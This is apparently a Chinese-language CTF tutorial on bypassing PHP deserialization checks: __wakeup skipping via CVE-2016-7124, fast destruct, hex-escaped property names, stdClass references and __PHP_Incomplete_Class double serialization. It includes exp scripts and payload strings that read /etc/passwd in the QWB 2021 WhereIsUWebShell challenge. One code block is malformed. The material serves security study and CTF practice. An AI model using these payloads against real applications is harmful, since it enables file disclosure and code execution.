php 反序列化绕过

 

PHP 反序列化绕过

__wakeup 绕过

CVE-2016-7124

在 PHP 5.6.25 之前版本和 7.0.10 之前的版本,当对象的属性(变量)数大于实际的个数时, __wakeup() 不会被执行。

例如如下的类,Name 类具有两个属性,分别是 username 和 password

O:4:"Name":2:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}

如果将属性的个数改为大于 2 的数就可以绕过 __wakeup()

O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}

custom object 绕过

PHP 5 中增加了接口(interface)功能。PHP 5 本身提供了一个 Serializable 接口,如果用户在自己定义的类中实现了这个接口,那么在该类的对象序列化时,就会被按照用户实现的方式去进行序列化,并且序列化后的标示不再是 O,而改为 C。C 标示的格式如下:

C:<name length>:"<class name>":<data length>:{<data>}

custom object 并不支持__wakeup() 因此可以用于绕过 __wakeup

Fast destruct 绕过

Fast destruct:在著名的 php 反序列工具 phpggc 中提及了这一概念。具体来说,在PHP中有:

  1. 如果单独执行 unserialize 函数进行常规的反序列化,那么被反序列化后的整个对象的生命周期就仅限于这个函数执行的生命周期,当这个函数执行完毕,这个类就没了,在有析构函数的情况下就会执行它。
  2. 如果反序列化函数序列化出来的对象被赋给了程序中的变量,那么被反序列化的对象其生命周期就会 变长,由于它一直都存在于这个变量当中,当这个对象被销毁,才会执行其析构函数。在这个题目中,反序列化得到的对象被赋给了 $res 导致 __destruct 在程序结尾才被执行,从而无法绕过 perg_match 代码块中的报错,如果能够进行 fast destruct,那么就可以提前触 __destruct,绕过反序列化报错。

示例如下:

  1. 类 D 在 __wakeup 方法中将 flag 属性置为 False,当调用 __get 方法时如果 flag 属性为 True 则可以输出 flag
  2. 将 C 的 c 属性设置为一个 D 对象,则可以触发 D 的 __get 方法
    <?php
    class D{
     public $flag=True;
     public function __get($a){
         if($this->flag){
             echo 'flag';
         }else{
             echo 'hint';
         }
     }
     public function __wakeup(){
         $this->flag = False;
     }
    }
    class C{
     public function __destruct(){
         echo $this->c->b;
     }
    }
    

    正常情况下,可以先查看一下序列化大致的样子,如果直接反序列化这个 payload,自然是无法拿到 flag 的。

    $a = new C();
    $a->c = new D();
    echo serialize($a);
    // O:1:"C":1:{s:1:"c";O:1:"D":1:{s:4:"flag";b:1;}}
    unserialize('O:1:"C":1:{s:1:"c";O:1:"D":1:{s:4:"flag";b:1;}}');
    // 输出 hint
    

    假如我们破坏这个序列化字符串的结构,例如删除调最后一个 },php 会给出错误信息,但仍旧输出了 flag,php 在遇到报错后直接执行了 C 的 __destruct 方法,这样便绕过了 __wakeup。

    unserialize('O:1:"C":1:{s:1:"c";O:1:"D":1:{s:4:"flag";b:1;}');
    // 输出 flag
    

    直接将 D 类的属性修改为与定义的不符也可以绕过 __wakeup.

    unserialize('O:1:"C":1:{s:1:"c";O:1:"D":0:{};N;}');
    // 输出 flag
    

php7.1 + 反序列化对类属性不敏感

如果变量前是 protected,序列化结果会在变量名前加上\x00*\x00

但在特定版本 7.1 以上则对于类属性不敏感,比如下面的例子即使没有\x00*\x00也依然会输出abc

<?php
class test{
    protected $a;
    public function __construct(){
        $this->a = 'abc';
    }
    public function  __destruct(){
        echo $this->a;
    }
}
unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');

正则匹配头是否为 O

preg_match('/^O:\d+/')匹配序列化字符串是否是对象字符串开头, 这在曾经的 CTF 中也出过类似的考点

  • 利用加号绕过(注意在 url 里传参时 + 要编码为 %2B)
  • serialize(array(a));a 为要反序列化的对象 (序列化结果开头是 a,不影响作为数组元素的 $a 的析构) ```php <?php class test{ public $a; public function __construct(){ $this->a = ‘abc’; } public function __destruct(){ echo $this->a.PHP_EOL; } }

function match($data){ if (preg_match(‘/^O:\d+/’,$data)){ die(‘you lose!’); }else{ return $data; } } $a = ‘O:4:”test”:1:{s:1:”a”;s:3:”abc”;}’; // +号绕过 $b = str_replace(‘O:4’,’O:+4’, $a); unserialize(match($b)); // serialize(array($a)); unserialize(‘a:1:{i:0;O:4:”test”:1:{s:1:”a”;s:3:”abc”;}}’);


## 利用引用
```php
<?php
class test{
    public $a;
    public $b;
    public function __construct(){
        $this->a = 'abc';
        $this->b= &$this->a;
    }
    public function  __destruct(){

        if($this->a===$this->b){
            echo 666;
        }
    }
}
$a = serialize(new test());

$b设置为$a的引用,可以使$a永远与$b相等

unicode 绕过

O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";}

可以写成

O:4:"test":2:{S:4:"\00*\00\61";s:3:"abc";s:7:"%00test%00b";s:3:"def";}

表示字符类型的s大写时,会被当成16进制解析。

示例如下:

<?php
class test{
    public $username;
    public function __construct(){
        $this->username = 'admin';
    }
    public function  __destruct(){
        echo 666;
    }
}
function check($data){
    if(stristr($data, 'username')!==False){
        echo("你绕不过!!".PHP_EOL);
    }
    else{
        return $data;
    }
}
// 未作处理前
$a = 'O:4:"test":1:{s:8:"username";s:5:"admin";}';
$a = check($a);
unserialize($a);
// 做处理后 \75是u的16进制
$a = 'O:4:"test":1:{S:8:"\\75sername";s:5:"admin";}';
$a = check($a);
unserialize($a);

stdClass 绕过

stdClass 是 PHP 中的一个内置类,用于创建一个通用的对象。stdClass 对象通常用于创建一个空对象,它没有预定义的属性或方法。这对于将数据存储在一个具有动态属性的结构中非常有用,因为你可以随时添加和删除属性。

当题目没有给出一个现有的类时,可以考虑使用内置类 stdClass,stdClass 没有杂七杂八的方法和变量,在构造 exp 时可以避免一些其他内置类可能产生的错误。

例题如下:

  1. 序类化字符串中不能有 flag 字符串。
  2. 反序列化之后的 flag 属性值如果为 flag,则将 flag 属性赋值为真正的 flag。
  3. 遍历所有属性,如果属性名不为 flag 则输出 flag。
<?php
highlight_file(__FILE__);
include 'flag.php';

$obj = $_GET['obj'];

if (preg_match('/flag/i', $obj)) {
    die("?");
}
$obj = @unserialize($obj);
var_dump($obj);
if ($obj->flag === 'flag') {
    $obj->flag = $flag;
}
foreach ($obj as $k => $v) {
    if ($k !== "flag") {
        echo $v;
    }
}

这里涉及到多个知识点:

  1. 第一个是 preg_match 的绕过,可以使用 unicode 进行绕过。
  2. php 在反序列化时不会严格限制序列化字符串中的属性个数是否与类的定义一致,举个例子:假设类中仅有两个属性 username 和 password。
     <?php
     class Person{
         public $username;
         public $password;
    
         public function __construct(){
             $this->username = "user";
             $this->password = "user";
         }
     }
     $a = new Person();
     echo serialize($a),"\n";
     // O:6:"Person":2:{s:8:"username";s:4:"user";s:8:"password";s:4:"user";}
    

    假设我们在反序列化时添加一个额外的属性 age:

     <?php
     class Person{
         public $username;
         public $password;
    
         public function __construct(){
             $this->username = "user";
             $this->password = "user";
         }
     }
     $payload = 'O:6:"Person":3:{s:8:"username";s:4:"user";s:8:"password";s:4:"user";s:3:"age";s:2:"10";}';
     var_dump(unserialize($payload));
     // object(Person)#1 (3) {
     //     ["username"]=>
     //     string(4) "user"
     //     ["password"]=>
     //     string(4) "user"
     //     ["age"]=>
     //     string(2) "10"
     //   }
    

    既然可以随意添加属性,我们就可以添加一个属性 a,配合引用的方法,将 a 设置为 flag 属性的引用。这样在遍历所有属性时,就可以打印出 flag 的值。

  3. 题目并没有给出一个现有的类,在反序列化一个不存在的类时,php 会将结果包裹在一个 __PHP_Incomplete_Class 类中。
     object(__PHP_Incomplete_Class)#1 (3) {
         ["__PHP_Incomplete_Class_Name"]=>
         string(9) "whaterver"
         ["a"]=>
         &string(4) "flag"
         ["flag"]=>
         &string(4) "flag"
     }
    

    解决的办法是使用一些诸如 Error 的内置类,当然更为方便的是使用 stdClass。

exp.php

<?php
$a = new stdClass();
$a->flag = "flag";
$a->a = &$a->flag;

echo serialize($a);
// O:8:"stdClass":2:{s:1:"a";S:4:"  ";S:4:"\66\6c\61\67";R:2;}

二次序列化绕过

PHP 在遇到不存在的类时,会把不存在的类转换成 __PHP_Incomplete_Class 这种特殊的类,同时将原始的类名A存放在 __PHP_Incomplete_Class_Name 这个属性中,其余属性存放方式不变。

在序列化这个对象的时候,serialize 遇到 __PHP_Incomplete_Class 这个特殊类会倒推回来,序列化成 __PHP_Incomplete_Class_Name 值为类名的类.

但是 __PHP_Incomplete_Class 这个特殊的类在经过了反序列化和序列化后,得到的结果与初始类不同,达到了如下的效果:

serialize(unserialize($x)) != $x
$b = 'a:2:{i:0;O:8:"stdClass":1:{s:3:"abc";N;}i:1;O:22:"__PHP_Incomplete_Class":1:{s:3:"abc";N;}}';
var_dump(unserialize($b));
var_dump(unserialize(serialize(unserialize($b))));

// 结果:
array(2) {
  [0]=>
  object(stdClass)#3 (1) {
    ["abc"]=>
    NULL
  }
  [1]=>
  object(__PHP_Incomplete_Class)#4 (1) {
    ["abc"]=>
    NULL
  }
}
array(2) {
  [0]=>
  object(stdClass)#3 (1) {
    ["abc"]=>
    NULL
  }
  [1]=>
  object(__PHP_Incomplete_Class)#4 (0) {
  }
}

例题: 强网杯2021 WhereIsUWebShell

index.php

<?php
// index.php
ini_set('display_errors', 'on');

include "function.php";
$res = unserialize($_REQUEST['ctfer']);
if(preg_match('/myclass/i',serialize($res))){
	throw new Exception("Error: Class 'myclass' not found ");
}
highlight_file(__FILE__);
echo "<br>";
highlight_file("myclass.php");
echo "<br>";	
highlight_file("funct但ion.php");

function.php

<?php
// function.php
function __autoload($classname){
    require_once "./$classname.php";
}
?>

myclass.php

<?php
// myclass.php
class Hello{
    public function __destruct()
    {   
		if($this->qwb) echo file_get_contents($this->qwb);
    }
}
?>

分析题目的场景:

  1. 首先将用户输入进行反序列化
  2. 然后将结果再次序列化之后匹配 myclass.
  3. function.php 中可以通过类名包含对应的文件.
  4. myclass.php 中存在文件读取函数,可以用于读取 flag.我们可以序列化一个 Hello 对象,在 Hello 反序列化后进行销毁时即可调用 file_get_contents. 但 __destruct 需要在对象销毁时才进行调用,当对象 Hello 还未销毁时即会被 preg_match 匹配,进而抛出异常提前结束.

思路:

  1. 将 myclass 包裹在 __PHP_Incomplete_Class 中,这样反序列化时可以成功创建 myclass 类,而二次序列化时,__PHP_Incomplete_Class 序列化字符串中的 myclass 被清除.
  2. 另外,由于 Hello 类在 myclass.php 中定义,但 myclass.php 没有被包含进来,所以在构造 payload 时添加一个 myclass 类,触发 function.php 中的 autoload ,进而包含 myclass.php

exp

<?php
// myclass.php
class myclass{
    public $a;
}
class Hello{
    public $qwb = "/etc/passwd";
}
$m = new myclass;
$m->a = new myclass;
$n = new Hello;
$a = array(0=>$m,1=>$n);
var_dump(serialize($a));
// a:2:{i:0;O:7:"myclass":1:{s:1:"a";O:7:"myclass":1:{s:1:"a";N;}}i:1;O:5:"Hello":1:{s:3:"qwb";s:11:"/etc/passwd";}}

由于 __PHP_Incomplete_Class 不方便直接构造,所以可以先生成 myclass,然后再改成 __PHP_Incomplete_Class:

a:2:{i:0;O:22:"__PHP_Incomplete_Class":1:{s:1:"a";O:7:"myclass":1:{s:1:"a";N;}}i:1;O:5:"Hello":1:{s:3:"qwb";s:11:"/etc/passwd";}}

这样就可以通过 __PHP_Incomplete_Class 二次序列化会把其中的内容制空的特性,绕过了 myclass 的检测.

非预期: Fast desctruct

当然,这一道题可以利用 Fast desctruct 特性,破坏序列化字符串可以使得在 unserialize 方法执行时因为出错直接调用 Hello 类的 __destruct 方法,进而包含文件. 删除最后一个大括号即可

a:2:{i:0;O:7:"myclass":1:{s:1:"a";O:7:"myclass":1:{s:1:"a";N;}}i:1;O:5:"Hello":1:{s:3:"qwb";s:11:"/etc/passwd";}

参考: